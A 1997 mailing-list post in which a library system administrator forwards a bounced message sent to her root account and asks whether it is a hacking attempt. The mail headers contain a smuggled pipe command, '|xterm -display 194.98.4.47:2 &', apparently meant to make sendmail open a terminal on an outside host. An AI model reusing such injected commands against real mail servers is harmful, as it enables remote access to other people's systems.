Possible hack

["Amy (Cremer) Briggs" <amyc @ libofmich . lib . mi . us>]

I received the following message twice to the root account on one of my 
boxes.  Does this look like a hacking attempt?  

Thanks,

Amy

 ---------- Forwarded message ----------
Date: Fri, 11 Jul 1997 18:42:56 -0400
From: Mail Delivery Subsystem <MAILER-DAEMON @
 libofmich .
 lib .
 mi .
 us>
To: MAILER-DAEMON @
 libofmich .
 lib .
 mi .
 us
Subject: Returned mail: Unable to deliver mail

   ----- Transcript of session follows -----
554 qfAA31933: line 5: "|xterm -display 194.98.4.47:2 &"... Cannot mail directly to programs

   ----- Unsent message follows -----
Received: from ts1-p08.dialup.iway.fr by libofmich.lib.mi.us 
          id AA31933; Tue, 8 Jul 1997 18:12:55 -0400
Date: Fri, 11 Jul 1997 18:31:32 -0400
From: MAILER-DAEMON (Mail Delivery Subsystem)
Subject: Returned mail: Unable to deliver mail
Message-Id: <9707112231 .
 AA31933 @
 libofmich .
 lib .
 mi .
 us>
To: "|xterm -display 194.98.4.47:2 &"

   ----- Transcript of session follows -----
554 "|xterm -display 194.98.4.47:2 &"  ... Cannot mail directly to programs
554 "|xterm -display 194.98.4.47:2 &"... Cannot mail directly to programs

   ----- Unsent message follows -----
Received: from ts1-p08.dialup.iway.fr by libofmich.lib.mi.us 
          id AA40892; Fri, 11 Jul 1997 18:31:32 -0400
Date: Fri, 11 Jul 1997 18:31:32 -0400
From: "|xterm -display 194.98.4.47:2 &"
Message-Id: <9707112231 .
 AA40892 @
 libofmich .
 lib .
 mi .
 us>
Apparently-To: nobody